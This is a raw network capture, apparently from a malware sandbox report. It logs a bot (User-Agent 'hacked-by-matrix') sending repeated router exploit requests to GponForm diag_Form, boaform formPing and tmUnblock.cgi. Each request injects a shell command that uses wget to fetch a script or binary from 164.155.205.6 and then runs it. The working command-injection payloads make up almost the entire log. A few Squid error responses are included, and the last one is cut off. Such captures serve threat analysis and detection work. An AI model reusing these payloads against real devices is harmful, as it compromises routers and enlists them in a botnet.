Mar 2, 2024 12:37:19.926314116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	47598	37.245.145.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.926315069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	36452	210.97.180.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.926342010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	42582	118.234.50.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.926346064 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	39170	178.116.202.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.926358938 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	55616	5.211.81.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:19.926363945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	57068	178.132.56.89	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:20.821057081 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	56648	213.243.30.114	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:20.838548899 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	53826	172.65.207.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.353305101 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	48006	98.190.187.212	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.389022112 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	50940	172.65.203.11	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.446531057 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	45914	172.118.211.250	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.580928087 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	48260	172.65.63.181	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.649046898 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	52016	172.65.246.239	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.736877918 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	52558	5.58.154.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.935462952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	33532	37.185.55.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.935488939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	52516	37.163.243.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.935497046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	43410	118.0.248.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.935533047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	60854	109.131.91.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:22.935554981 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	50516	38.153.105.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.121248960 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:24.246826887 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.9 Mime-Version: 1.0 Date: Sat, 02 Mar 2024 12:01:41 GMT Content-Type: text/html Content-Length: 3151 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	39210	38.153.16.109	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.121352911 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:37:24.264483929 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sat, 02 Mar 2024 11:50:30 GMT Content-Type: text/html Content-Length: 3157 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 